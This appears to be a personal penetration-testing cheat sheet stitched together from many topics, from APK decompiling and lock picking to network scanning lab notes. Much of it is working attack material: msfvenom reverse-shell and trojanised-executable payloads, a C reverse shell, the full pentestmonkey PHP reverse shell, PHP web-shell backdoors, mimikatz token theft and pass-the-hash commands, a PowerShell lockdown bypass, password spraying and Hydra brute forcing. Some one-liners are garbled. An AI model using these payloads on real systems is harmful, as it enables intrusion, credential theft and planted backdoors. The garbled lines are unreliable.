| SOMETIMES THERE IS MORE THAN ONE ANDROIDMANIFEST.XML FILE SO DEBUGGING THE APK CAN MAKE IT EASIER TO READ THE FINAL ANDROIDMANIFEST.XML FILE |
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| dex2jar is an opensource tool, used to convert classes.dex to a .jar file | |
| Let's break down the apk to get the classes.dex and turn it into a .jar file. | |
| ./dj2-dex2jar.sh <apkname.apk> -o <output-file.jar> |
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| Once you use the dex2jar tool, see above note, you can go ahead and use JD-GUI | |
| JD-GUI is a tool that will help decompile some code that is very similar to the original source code. | |
| The sequence would be | |
| ./dj2-dex2jar.sh <apkname.apk> -o <output-file.jar> | |
| Then | |
| Run JD-Gui - SELECT the File Menu and select the <output-file.jar> as seen above | |
| This will show a hierarchial view of the contents on the left hand side. |
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| Smali and Baksmali are programs that are considered assemblers and disassemblers. | |
| These programs will turn bytecode, which is almost unreadable into assembly code - Which is more human readable. | |
| Baksmali | |
| ------------- | |
| Now lets take a look on how to turn a .dex file into a | |
| java -jar baksmali-2.1.1.jar <dex-file.dex> | |
| After running this command, the output results will be placed into a directory called out. | |
| In the out folder, there will be files called <file-name.smali> Open one of these files and you will see some code that is somewhat readable and similar to Java. | |
| ----------------------------- | |
| Smali | |
| --------- | |
| This program is the opposite of Baksmali, this program will take smali code, and create a .dex file. | |
| here is the command | |
| java -jar smali-2.1.1.jar source-directory-containing-smali-code/ |
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| qark --pathtoapk <path to apk> --install 1 --exploit 0 --reportdir <report location> |
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| http://joshuaplatz.blogspot.com/2017/12/updated-wireless-radius-mitm-on.html | |
| https://forums.kali.org/showthread.php?36814-How-to-install-AWUS036ACH-Drivers-and-getting-it-running/page3&s=9c5700ae3cb3103ca994e4245f65d74f | |
| how to hack with reaver | |
| https://www.youtube.com/watch?v=knllpZF508k |
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| https://justinelze.wordpress.com/2013/03/25/wce-and-mimikatz-in-memory-over-meterpreter/ |
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| txtwizard.net/compression | |
| https://raw.githubusercontent.com/giMini/PowerMemory/master/RWMC/misc/reverseshell.xml | |
| https://github.com/colemination/PowerOutlook/blob/master/New-DynamicOutlookTrigger.ps1 |
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| https://github.com/api0cradle/UltimateAppLockerByPassList | |
| https://github.com/nccgroup/demiguise |
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| Stop Process | |
| process::stop /pid:1234 | |
| Suspend Process | |
| process::suspend /pid:1234 | |
| Resume Process | |
| process::resume /pid:1234 | |
| List exported and imported functions from different DLL's | |
| process::exports | |
| process::imports | |
| List exported and imported functions from different DLLs used by a given process | |
| process::exports /pid:1234 | |
| process::imports /pid:1234 |
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| Use lubricant to loosen up lock | |
| Use tensioner or similar tool to check if the core can still remain free. Move the tensioner back and forth to make sure there is rotation | |
| Run pick or hook through pinning to make sure there isn't any glue, or debris in the key way while you pick - this will also help loosen up any potentially frozen pins | |
| Run a pick to check for how many pins are available | |
| Once you know how many pins are there, that the keyway is clear, and the core can be rotated, hack stuff | |
| start with rocking - use a lifter | |
| then move to raking - use a bogota triple rake or a bogata double eork - the bogata snake rake works |
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| Show who you are | |
| token::whoami | |
| Show other tokens: | |
| token::list /user:administrator | |
| token::list /user:domainadmin | |
| token::list /user:enterpriseadmin | |
| token::list /user:system\ | |
| token::list /user:bob123 | |
| Run process with a token: | |
| token::run /process:cmd.exe | |
| Get those privileges: | |
| token::elevate | |
| Revert Token: | |
| token::revert |
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| List all modules | |
| sadefklijjnh:: *****Note, and random wacky string followed by :: will show all modules |
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| buffer overflow | |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.34.31 LPORT=443 -f c -a x86 --platform windows -b "\x00\x20\x0a\x0d" -e x86/shikata_ga_nai -k | |
| ---------- | |
| Python | |
| msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b "\x00" -e x86/shikata_ga_nai -f raw > shell.py | |
| ---------- | |
| Bash | |
| msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b "\x00" -e x86/shikata_ga_nai -f raw > shell.sh | |
| ---------- | |
| Perl | |
| msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b "\x00" -e x86/shikata_ga_nai -f raw > shell.pl | |
| ---------- | |
| Windows ASP | |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.220 LPORT=443 -f asp -e x86/shikata_ga_nai -i 10 > Desktop/shell.asp | |
| ---------- | |
| Windows Executable | |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.53 LPORT=443 -f exe -e x86/shikata_ga_nai -i 10 > /Desktop/shell.exe | |
| ---------- | |
| WAR - IE Tomcat shell | |
| msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip LPORT=4444 -f war > shell.war | |
| ---------- | |
| Generic shell | |
| msfvenom -p windows/shell_reverse_tcp -f js_le -e generic/none -a x86 --platform windows -s 342 LHOST=10.11.0.220 LPORT=443 | |
| ---------- | |
| PHP | |
| msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=443 -f raw -e x86/shikata_ga_nai -i 3 > shell.php | |
| ---------- | |
| Embed the code in an executable | |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.50.50.100 LPORT=4460 -f exe -e x86/shikata_ga_nai -i 10 -k -x original-file.exe > new-file-with-malicious-code.exe | |
| """"""" | |
| use this within msfconsole | |
| use payload/windows/meterpreter/bind_tcp | |
| set LPORT 2444 | |
| generate -t exe -f /var/www/html/msf_bind2444.exe | |
| """"""" | |
| Handlers | |
| Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format. | |
| use exploit/multi/handler | |
| set PAYLOAD <Payload name> | |
| set LHOST <LHOST value> | |
| set LPORT <LPORT value> | |
| set ExitOnSession false | |
| exploit -j -z |
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| NAC testing | |
| arp scan - find IP addresses | |
| change mac address | |
| ifconfig eth0 down | |
| ifconfig eth0 hw ether 00:00:00:00:00:00 | |
| --------- | |
| Use cpscam to look for clients who are inactive #make sure perl -MCPAN -e 'install NetPacket::IP' Is installed | |
| perl cpscam.pl 10.10.10.0 255.255.255.0 | |
| ---------- | |
| Switch user agent in firefox to Apple iPad 7 which is mostly unsupported and good to go | |
| Description:iOS 7 iPad | |
| User Agent: Mozilla/5.0 (iPAD; CPU iPad OS 7_0 like Mac OS X) AppleWebKit/546.10 (KHTML, like Gecko) Version/6.0 | |
| App Code Name: Mozilla | |
| App Version: 5.0 (iPad; CPU iPad OS 7_0 like Mac OS X) Apple WebKit/546.10 (KHTML, like Gecko) Version/6.0 Mobile/7E18WD Safari/8536.25 | |
| Platform: iPad | |
| Vendor: Apple Computer, Inc. | |
| Vendor Sub: <blank> | |
| ----------- |
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| nmap sneaky syn scan with different user agent, searching for web services | |
| nmap -sS -p 80,443,8080 --open --script http-title --script-args 'http.useragent="Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"' 10.10.40.0/24 | |
| nmap scan Ipv6 | |
| nmap -6 dead:beef::11be:2d04:b08e:84ff | |
| nmap to xml then xml to html | |
| nmap -A -p- 192.168.26.141 -oX /root/Desktop/test.xml nmap -sS -p | |
| xsltproc test.xml -o test.html | |
| nmap -Pn -p- -sI 10.185.10.20 10.185.11.1 <--idle scan | |
| apt-get install xsltproc | |
| nmap -sS -p 80,443,8080 --open --script http-title --script-args | |
| 'http.useragent="Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like | |
| Gecko"' 10.10.40.0/24 | |
| ====================== | |
| Zone transfer | |
| dig @10.50.96.5 foocampus.com -t AXFR | |
| Check for dns port open from dns port (sometimes port 53 only responds to port 53) | |
| nmap -sS --source-port 53 -p 53 10.50.97.5 | |
| --------------- | |
| nmap -sT -p 53 10.10.10.* | |
| once this is found do | |
| dig @<ipaddress with DNS open> -x <ipaddress with DNS open> | |
| now you should see something like | |
| answer section | |
| 10.5.16.172.in-addr.arpa 1200 IN PTR dc01.sportsfoo.com | |
| ------------------- | |
| the sportsfoo.com is the domain name | |
| now you can do | |
| dig@<ipaddress with DNS open> -t AXFR sportsfoo.com <--this will do a zone transfer with info from above. | |
| ------------------------ | |
| bash scripts | |
| if zone transfer fails, you can do the following | |
| nmap -sP 172.16.5.* -oG - | awk '/Up/{print $2}' > alive.txt && cat alive.txt | |
| for name in $(cat /usr/share/fierce/hosts.txt); do host $name.sportfoo.com <ipaddress with DNS open> -W 2; done | grep 'has address' | |
| for name in $(cat /usr/share/fierce/hosts.txt); do host $name.sportsfoo.com 172.16.5.10 -W 2; done | grep 'has address' | |
| ---------------------- | |
| Unicorn Scan | |
| unicornscan -msf <IPaddress>:a > nametcp.txt | |
| unicornscan -mU <IPaddress>:a > nameudp.txt | |
| ---------------------- | |
| Blue Squirrel Scan | |
| unicornscan -msf -R1 -L10 -p1-65535 -r 300 $1 | |
| -------------------- | |
| Precise nmap scan - version scan, OS detection, vuln checks, default scans, and all outputs | |
| nmap -sS -sU -sV --reason -vv -O --script vuln, default -p- <ip address> -oA <name of file> | |
| ----------------------- | |
| 1: Host Discovery | |
| The Nmap command to perform a ping sweep, and then save the results | |
| into an xml, is the following: | |
| >>nmap –PE –sn -n 10.50.96.0/23 –oX /root/Desktop/scan.xml | |
| where with the -sn we tell nmap to not do a port scan after a host | |
| discovery, the -PE enables ICMP Echo request host discovery (Ping scan) | |
| and with the -oX we tell nmap to save the results into an XML file (in our | |
| case the filename is scan.xml and is located in /root/Desktop). | |
| Option -n is optional and skips DNS reverse lookup on all the IP | |
| addresses. | |
| Hosts found with this scan are 8: | |
| Host IP address | |
| 10.50.96.1 | |
| 10.50.96.105 | |
| 10.50.96.110 | |
| 10.50.96.115 | |
| 10.50.97.1 | |
| 10.50.97.5 | |
| 10.50.97.10 | |
| 10.50.97.15 | |
| 10.50.97.20 | |
| 10.50.97.25 | |
| Note that if you use only –sn without –PE nmap uses ICMP requests, but | |
| will also send a TCP SYN packet on ports 80 and 443 of each host | |
| ====================== | |
| 2: Open/Closed/Filtered ports | |
| Hping3 is one of the most powerful packet crafting tools. It’s very easy to | |
| start a TCP communication defining flags to use in order to scan specific | |
| ports and hosts. We want to scan ports 23/53/135 on the address | |
| 10.50.97.5. For a SYN scan, we will have to enable the SYN flag, and | |
| according to the response we can determine if a port is | |
| open/close/filtered. | |
| The command to use is: | |
| >>hping3 -S –p 23 10.50.97.5 | |
| where: | |
| –S tells the tool to set the SYN flag, | |
| –p option is used to specify the port to scan. | |
| We already know that the host is alive, but if we try the previous | |
| command we will receive no packets. This could happen when there is a | |
| Firewall between us and the target, that blocks our packets. | |
| In the same way as before, let’s use the previous command in order to | |
| scan port 53: | |
| >>hping3 -S –p 53 10.50.97.5 | |
| In this case the tool tells us that it received the R flag (Reset) and the A | |
| (Acknowledgement) flag. This means that the port 53 is closed. | |
| The last port to check is 135. The command will look like this: | |
| >>hping3 -S –p 135 10.50.97.5 | |
| In this case the flags are S and A, meaning that the port is open. | |
| At the end this is what we have | |
| end result? | |
| Status Port | |
| Open 135 | |
| Closed 53 | |
| Filtered 23 | |
| =========================== | |
| 3: Hping3: Port scan (TCP) | |
| In order to perform a TCP scan with Hping3 from port 1 to port 1000 we | |
| can use the following option: | |
| >>hping3 10.50.97.5 -S --scan known | |
| This command will scan the most known ports (known includes all the | |
| ports listed in /etc/services) and it will print out information about open | |
| ports, which in our case are 135 and 445. | |
| ============================= | |
| 4: nmap: Port scan (UDP) | |
| Since the previous scan does not reveal any information about | |
| open/closed/filtered ports used by UDP services, we can use Nmap to | |
| perform an UDP scan and get more information about our target. In order | |
| to do that, we can use the following command: | |
| >>nmap -sU 10.50.97.5 | |
| where: | |
| -sU tells nmap to perform an UDP scan. | |
| Note that the open|filtered result means that no response has been | |
| received, and that the port can be open or filtered by a firewall. | |
| root@kali:~# nmap -sU 10.50.97.5 | |
| Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-17 21:12 EDT | |
| Nmap scan report for 10.50.97.5 | |
| Host is up (0.087s latency). | |
| Not shown: 991 closed ports | |
| PORT STATE SERVICE | |
| 123/udp open ntp | |
| 137/udp open netbios-ns | |
| 138/udp open|filtered netbios-dgm | |
| 161/udp filtered snmp | |
| 162/udp filtered snmptrap | |
| 445/udp open|filtered microsoft-ds | |
| 500/udp open|filtered isakmp | |
| 1900/udp open|filtered upnp | |
| 4500/udp open|filtered nat-t-ike | |
| ==================================== | |
| 5: Nmap: Port scan (TCP) | |
| In Task 1 we have found a list of alive hosts. We can use this information | |
| to create a ‘.txt’ file that contains the list of IP address to take care | |
| of. | |
| Once we have created the file, we can give it to Nmap and perform a TCP | |
| SYN scan in order to find open/closed/filtered ports. The command will | |
| look like this: | |
| >>nmap -sS -iL /root/Desktop/list.txt | |
| where: | |
| -sS is the option that tells Nmap to perform the TCP SYN scan | |
| -iL tells Nmap to load the addresses to scan from the file ‘list.txt’ | |
| This command will take times. To check the progress of the scan press | |
| the up arrow on your keyboard. | |
| ====================================== | |
| 6: Source port | |
| Sometimes DNS accepts communication only if it comes from port 53. | |
| This means that all communications with port different from 53 are | |
| blocked by the service or by the firewall. In order to understand if our | |
| [Scanning] LAB ID: 3 | |
| eLearnSecurity s.r.l. © 2012 | H E R A 12 | |
| target network this policy is in place, we can set-up nmap or Hping3 to | |
| use port 53 as source port for the scan. | |
| In other words, we have to perform a port scan in the entire network, | |
| from port 53 to port 53. | |
| To do that we can use the following commands: | |
| >>nmap -sS --source-port 53 -p 53 10.50.97.0/24 | |
| or | |
| >>hping3 -S -s 53 –k -p 53 10.50.97.25 | |
| Note that when you specify a source port, hping takes it as a base port | |
| and increases it at every packet sent. You can use the –k (keep) option to | |
| prevent this behavior. From the results of the previous two commands, | |
| we can see that there is only one host (10.50.97.25) with the port 53 | |
| open. This is information that we didn’t find using any of the previous | |
| scans, so make sure to play with source ports during your scans. | |
| ========================================= | |
| 7: Service detection | |
| In order to accomplish this task, we can set up Nmap in different ways, | |
| depending on the intensity of the scan we want to perform. To perform a | |
| service and version detection with nmap, the option to use is the –sV. | |
| Note that by default the intensity of the scan is set to 7, but you can | |
| use a | |
| different intensity with the --version-intensity option. | |
| In this case we will show the basic command, but you can use different | |
| options and check the different results yourself. If you need more | |
| information about it, please check out the Nmap man page here: | |
| http://nmap.org/book/man-version-detection.html. | |
| The command will then looks like this: | |
| >>nmap –sV 10.50.97.0/24 | |
| Note that Nmap first checks for alive hosts, then performs a port scan and | |
| after that, it performs a service and version detection. Moreover you can | |
| use the –A option to get more information about services and | |
| applications version. This is quite aggressive and will also enable Nmap | |
| scripts. | |
| =================== | |
| 8: Find a good zombie (Hping3) | |
| [Scanning] LAB ID: 3 | |
| eLearnSecurity s.r.l. © 2012 | H E R A 14 | |
| In order to find a good zombie, we have to find a host with no active | |
| communications, in other words, we have to check if the host is sending | |
| packets to and from the network. This means that we have to find a host | |
| which its ID field does not change frequently. | |
| To do this we can use Hping3 sending packets to open ports at each host | |
| in the network, using the following command: | |
| >>hping3 -S -r -p 135 10.50.97.10 | |
| where: | |
| -S tells hping to send SYN flag | |
| -r displays ID increments relatively | |
| In this way if the ID increments by 1 for each packet (id=+1), means that | |
| the target is not sending packets through the network and is a good | |
| zombie candidate. | |
| Another way to check if the target is a good candidate, is by using nmap. | |
| We can simply run the following command: | |
| >>nmap –O –v –n 10.50.97.10 | |
| If the value of “IP ID Sequence Generation” is on ‘Incremental’, we can | |
| consider the target as a good candidate for our idle scan. | |
| ======================= | |
| 9: Idle Scan | |
| Now that we have the address of a good zombie we can check if the | |
| target hosts have port 23 open : | |
| 1) Open a console, Start again the previous Hping scan on the | |
| zombie (Task 9). This will show us ID’s on the fly. | |
| 2) Open another console and run the following command: | |
| [Scanning] LAB ID: 3 | |
| eLearnSecurity s.r.l. © 2012 | H E R A 15 | |
| >>hping3 -a 10.50.97.10 -S -p 23 10.50.96.110 | |
| If the zombie ID increment is ‘id=+2’ (Console 1) instead of ‘id=+1’, we | |
| can | |
| deduce that port 23 on the target 10.50.96.105 is open. Otherwise, if the | |
| ID still increments by 1, we can deduce that the port is closed. |
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| \\.\\pipe\\InitShutdown | |
| \\.\\pipe\\lsass | |
| \\.\\pipe\\ntsvcs | |
| \\.\\pipe\\scerpc | |
| \\.\\pipe\\Winsock2\CatalogChangeListener-3a0-0 | |
| \\.\\pipe\\epmapper | |
| \\.\\pipe\\Winsock2\CatalogChangeListener-20c-0 | |
| \\.\\pipe\\LSM_API_service | |
| \\.\\pipe\\eventlog | |
| \\.\\pipe\\Winsock2\CatalogChangeListener-428-0 | |
| \\.\\pipe\\atsvc | |
| \\.\\pipe\\Winsock2\CatalogChangeListener-2c8-0 | |
| \\.\\pipe\\TermSrv_API_service | |
| \\.\\pipe\\Ctx_WinStation_API_service | |
| \\.\\pipe\\wkssvc | |
| \\.\\pipe\\Winsock2\CatalogChangeListener-2b0-0 | |
| \\.\\pipe\\spoolss | |
| \\.\\pipe\\trkwks | |
| \\.\\pipe\\Winsock2\CatalogChangeListener-8c0-0 | |
| \\.\\pipe\\SessEnvPublicRpc | |
| \\.\\pipe\\srvsvc | |
| \\.\\pipe\\ROUTER | |
| \\.\\pipe\\PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER | |
| \\.\\pipe\\Winsock2\CatalogChangeListener-29c-0 | |
| \\.\\pipe\\W32TIME_ALT | |
| \\.\\pipe\\PowerShellISEPipeName_0_417214ff-a222-47fa-9c64-f8de78311719 | |
| \\.\\pipe\\PSHost.132208377736634745.664.DefaultAppDomain.powershell_ise | |
| \\.\\pipe\\TSVCPIPE-6d47b11a-c7cc-4a43-b660-d80b5b51c590 | |
| \\.\\pipe\\InitShutdown | |
| \\.\\pipe\\lsass | |
| \\.\\pipe\\ntsvcs | |
| \\.\\pipe\\scerpc | |
| \\.\\pipe\\Winsock2\CatalogChangeListener-380-0 | |
| \\.\\pipe\\Winsock2\CatalogChangeListener-2d8-0 | |
| \\.\\pipe\\epmapper | |
| \\.\\pipe\\Winsock2\CatalogChangeListener-330-0 | |
| \\.\\pipe\\LSM_API_service | |
| \\.\\pipe\\atsvc | |
| \\.\\pipe\\eventlog | |
| \\.\\pipe\\Winsock2\CatalogChangeListener-77c-0 | |
| \\.\\pipe\\Winsock2\CatalogChangeListener-618-0 | |
| \\.\\pipe\\TermSrv_API_service | |
| \\.\\pipe\\Ctx_WinStation_API_service | |
| \\.\\pipe\\stereosvrpipe | |
| \\.\\pipe\\wkssvc | |
| \\.\\pipe\\SessEnvPublicRpc | |
| \\.\\pipe\\Winsock2\CatalogChangeListener-bc8-0 | |
| \\.\\pipe\\WiFiNetworkManagerTask | |
| \\.\\pipe\\spoolss | |
| \\.\\pipe\\Winsock2\CatalogChangeListener-cf4-0 | |
| \\.\\pipe\\openvpn\service | |
| \\.\\pipe\\trkwks | |
| \\.\\pipe\\vmware-usbarbpipe | |
| \\.\\pipe\\srvsvc | |
| \\.\\pipe\\ROUTER | |
| \\.\\pipe\\vmware-authdpipe | |
| \\.\\pipe\\Winsock2\CatalogChangeListener-378-0 | |
| \\.\\pipe\\vmware-proxy-webserver | |
| \\.\\pipe\\VMWARE\ha-nfc-fd.5912 | |
| \\.\\pipe\\VMWARE\ha-nfcssl-fd.5912 | |
| \\.\\pipe\\PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER | |
| \\.\\pipe\\VMWARE\vmx-vigor-fd.2768 | |
| \\.\\pipe\\VMWARE\vmx-live-fd.2768 | |
| \\.\\pipe\\vmx48982b3d3a49cfdd | |
| \\.\\pipe\\VMWARE\testAutomation-fd.2768 | |
| \\.\\pipe\\VMWARE\mks-fd.2768 | |
| \\.\\pipe\\VMWARE\vmx-vmdb-fd.2768 | |
| \\.\\pipe\\vmware\mksctrl\mksctrl-0000002768-000-5d0555db | |
| \\.\\pipe\\VMWARE\remoteDevice-fd.2768 | |
| \\.\\pipe\\AppContracts_xF94F30E7-9A36-404D-BBAC-63ED89386010y | |
| \\.\\pipe\\AppContracts_xDEB5E4CB-79E4-4CB8-B9A2-178B86A83E86y | |
| \\.\\pipe\\AppContracts_x1CBE3A69-DB71-45D1-98BE-4F20AA49E34Dy | |
| \\.\\pipe\\AppContracts_x028A2ECF-2BF7-4D40-A6C7-DE6A7D3A3EA0y | |
| \\.\\pipe\\AppContracts_x1AC87814-93FC-466B-A0E2-338FEFEE647Cy | |
| \\.\\pipe\\AppContracts_x2DB560F0-65F2-4B87-B9A3-073EC41C9813y | |
| \\.\\pipe\\ShortcutNotifier_8632 | |
| \\.\\pipe\\FTA_8632 | |
| \\.\\pipe\\ShellEx_8632 | |
| \\.\\pipe\\ShortcutNotifier_8448 | |
| \\.\\pipe\\FTA_8448 | |
| \\.\\pipe\\ShellEx_8448 | |
| \\.\\pipe\\MsFteWds | |
| \\.\\pipe\\SearchTextHarvester | |
| \\.\\pipe\\GoogleCrashServices\S-1-5-18 | |
| \\.\\pipe\\GoogleCrashServices\S-1-5-18-x64 | |
| \\.\\pipe\\PSHost.132208392582619514.3232.DefaultAppDomain.powershell |
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| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <unistd.h> | |
| #include <sys/types.h> | |
| #include <sys/socket.h> | |
| #include <netinet/in.h> | |
| int main(void) { | |
| int sockfd; | |
| int lportno = 12345; | |
| struct sockaddr_in serv_addr; | |
| char *const params[] = {"/bin/sh",NULL}; | |
| char *const environ[] = {NULL}; | |
| sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); | |
| serv_addr.sin_family = AF_INET; | |
| serv_addr.sin_addr.s_addr = inet_addr("192.168.57.102"); | |
| serv_addr.sin_port = htons(lportno); | |
| connect(sockfd, (struct sockaddr *) &serv_addr, 16); | |
| dup2(sockfd,0); | |
| dup2(0,1); | |
| dup2(0,2); | |
| execve("/bin/sh",params,environ); | |
| } |
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| /etc/init.d/nessusd start <-- this will start nessus | |
| https://kali:8834/ | |
| https://127.0.0.1:9392/ |
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| nc -l -p 443 < C:\bank-account.zip --from machine that has the file, this one is windows. | |
| nc -w3 192.168.31.201 443 > C:\bank-account.zip | |
| ############################### | |
| Port Scan for open ports | |
| nc -z -v 172.16.1.15 1-65535 2>&1 | grep succeeded | |
| ############################### |
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| ifconfig eth0 192.168.0.222 netmask 255.255.255.0 broadcast 192.168.0.255 up | |
| ifconfig phear0 10.100.11.200 netmask 255.255.255.0 up | |
| ifconfig phear0 10.185.10.50 netmask 255.255.255.0 up | |
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| curl -H http://10.194.0.68/.misc/ <----this gives you a 403 forbidden code | |
| curl -H 'X-forwarded-for:10.194.0.67' -I http://10.194.0.68/misc/ <----this may be able to bypass the 403 code because of the x forwarded header :) |
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| nikto -useproxy http://192.168.x.x:8080 -h 192.168.x.x | |
| nikto -Tuning x4 -host 192.168.29.55 -port 80 -Format htm -o 192.168.29.55-nikto.html <----skipping injection scan, tuned out scan |
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| inspy --empspy /usr/share/inspy/wordlists/title-list-large.txt --emailformat flast@google.com 'Google' | |
| --email format is how the emails work | |
| inspy --empspy /usr/share/inspy/wordlists/title-list-large.txt --emailformat |
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| In metasploit use | |
| For OWA 2003, 2007, 2010, 2013, and 2016 | |
| use auxiliary/scanner/http/owa_login | |
| set RHOST 10.10.10.71 | |
| set RPORT 443 | |
| set username administrator | |
| set vhost rabbit.htb.local | |
| https://github.com/Greenwolf/Spray | |
| Useage: spray.sh -lync <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> | |
| ./spray.sh -lync https |
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| <?php | |
| // php-reverse-shell - A Reverse Shell implementation in PHP | |
| // Copyright (C) 2007 pentestmonkey@pentestmonkey.net | |
| // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. | |
| set_time_limit (0); | |
| $VERSION = "1.0"; | |
| $ip = '192.168.0.5'; // CHANGE THIS | |
| $port = 443; // CHANGE THIS | |
| $chunk_size = 1400; | |
| $write_a = null; | |
| $error_a = null; | |
| $shell = 'uname -a; w; id; /bin/sh -i'; | |
| $daemon = 0; | |
| $debug = 0; | |
| // | |
| // Daemonise ourself if possible to avoid zombies later | |
| // | |
| // pcntl_fork is hardly ever available, but will allow us to daemonise | |
| // our php process and avoid zombies. Worth a try... | |
| if (function_exists('pcntl_fork')) { | |
| // Fork and have the parent process exit | |
| $pid = pcntl_fork(); | |
| if ($pid == -1) { | |
| printit("ERROR: Can't fork"); | |
| exit(1); | |
| } | |
| if ($pid) { | |
| exit(0); // Parent exits | |
| } | |
| // Make the current process a session leader | |
| // Will only succeed if we forked | |
| if (posix_setsid() == -1) { | |
| printit("Error: Can't setsid()"); | |
| exit(1); | |
| } | |
| $daemon = 1; | |
| } else { | |
| printit("WARNING: Failed to daemonise. This is quite common and not fatal."); | |
| } | |
| // Change to a safe directory | |
| chdir("/"); | |
| // Remove any umask we inherited | |
| umask(0); | |
| // | |
| // Do the reverse shell... | |
| // | |
| // Open reverse connection | |
| $sock = fsockopen($ip, $port, $errno, $errstr, 30); | |
| if (!$sock) { | |
| printit("$errstr ($errno)"); | |
| exit(1); | |
| } | |
| // Spawn shell process | |
| $descriptorspec = array( | |
| 0 => array("pipe", "r"), // stdin is a pipe that the child will read from | |
| 1 => array("pipe", "w"), // stdout is a pipe that the child will write to | |
| 2 => array("pipe", "w") // stderr is a pipe that the child will write to | |
| ); | |
| $process = proc_open($shell, $descriptorspec, $pipes); | |
| if (!is_resource($process)) { | |
| printit("ERROR: Can't spawn shell"); | |
| exit(1); | |
| } | |
| // Set everything to non-blocking | |
| // Reason: Occsionally reads will block, even though stream_select tells us they won't | |
| stream_set_blocking($pipes[0], 0); | |
| stream_set_blocking($pipes[1], 0); | |
| stream_set_blocking($pipes[2], 0); | |
| stream_set_blocking($sock, 0); | |
| printit("Successfully opened reverse shell to $ip:$port"); | |
| while (1) { | |
| // Check for end of TCP connection | |
| if (feof($sock)) { | |
| printit("ERROR: Shell connection terminated"); | |
| break; | |
| } | |
| // Check for end of STDOUT | |
| if (feof($pipes[1])) { | |
| printit("ERROR: Shell process terminated"); | |
| break; | |
| } | |
| // Wait until a command is end down $sock, or some | |
| // command output is available on STDOUT or STDERR | |
| $read_a = array($sock, $pipes[1], $pipes[2]); | |
| $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); | |
| // If we can read from the TCP socket, send | |
| // data to process's STDIN | |
| if (in_array($sock, $read_a)) { | |
| if ($debug) printit("SOCK READ"); | |
| $input = fread($sock, $chunk_size); | |
| if ($debug) printit("SOCK: $input"); | |
| fwrite($pipes[0], $input); | |
| } | |
| // If we can read from the process's STDOUT | |
| // send data down tcp connection | |
| if (in_array($pipes[1], $read_a)) { | |
| if ($debug) printit("STDOUT READ"); | |
| $input = fread($pipes[1], $chunk_size); | |
| if ($debug) printit("STDOUT: $input"); | |
| fwrite($sock, $input); | |
| } | |
| // If we can read from the process's STDERR | |
| // send data down tcp connection | |
| if (in_array($pipes[2], $read_a)) { | |
| if ($debug) printit("STDERR READ"); | |
| $input = fread($pipes[2], $chunk_size); | |
| if ($debug) printit("STDERR: $input"); | |
| fwrite($sock, $input); | |
| } | |
| } | |
| fclose($sock); | |
| fclose($pipes[0]); | |
| fclose($pipes[1]); | |
| fclose($pipes[2]); | |
| proc_close($process); | |
| // Like print, but does nothing if we've daemonised ourself | |
| // (I can't figure out how to redirect STDOUT like a proper daemon) | |
| function printit ($string) { | |
| if (!$daemon) { | |
| print "$string\n"; | |
| } | |
| } | |
| ?> |
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| Try this first | |
| <?php echo exec($_REQUEST['c']);?> | |
| Try this next if the first doesn't work | |
| <?php echo exec($_GET['c']); ?> | |
| <?php -r '$sock=fsockopen(10.11.0.220",1234);exec("/bin/sh -i <&d >&%d 2>&%d",f,f,f)' ?> | |
| Simple PHP Backdoor By DK (One-Liner Version) | |
| Usage: | |
| http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd | |
| <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> | |
| php -r '$sock=fsockopen(10.11.0.220",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
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| Over Pass The Hash | |
| USE - mimikatz.exe | |
| TYPE IN THE SHELL - sekurlsa::pth /user:improvement /domain:victim.local /ntlm:<enter second half of ntlm hash> | |
| CHECK YOUR CREDS - then in cmd window, check your shit net user <username> /domain | |
| ---------- | |
| From meterpreter | |
| execute -H -i -c -m -d calc.exe -f /usr/share/mimikatz/x64/mimikatz.exe -a ' "sekurlsa::pth /user:improvement /domain:victim.local /ntlm:1234567890" exit' |
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| First see the environment in powershell prompt with below command | |
| ls env: | |
| Then remove the key | |
| Remove-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\" -name __PSLockdownPolicy | |
| powershell "Remove-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\" -name __PSLockdownPolicy" | |
| powershell Remove-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\" -name __PSLockdownPolicy | |
| Now start a new powershell process, and do the below | |
| Now look at the environment again | |
| ls env: | |
| There should no longer be the _PSLockdownPolicy Parameter | |
| -------------- | |
| Check for constrained language mode | |
| $ExecutionContext.SessionState.LanguageMode | |
| Enable PSRemoting | |
| Enable-PSRemoting -SkipNetworkProfileCheck -Force | |
| winrm s winrm/config/client '@{TrustedHosts="172.16.80.100"}' | |
| Enable-WSManCredSSP -Role Server | |
| winrm s winrm/config/client '@{TrustedHosts="*"}' |
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| findmyhash LM -h AAD3B435B51404EEAAD3B435B51404EE <----example | |
| ^ ^^^^^^ | |
| Type of hash Hash itself | |
| Hydra | |
| hydra -L /usr/share/nmap/nselib/data/usernames.lst -P /usr/share/nmap/nselib/data/passwords.lst -u -e s -s 25 192.168.0.15 ftp | |
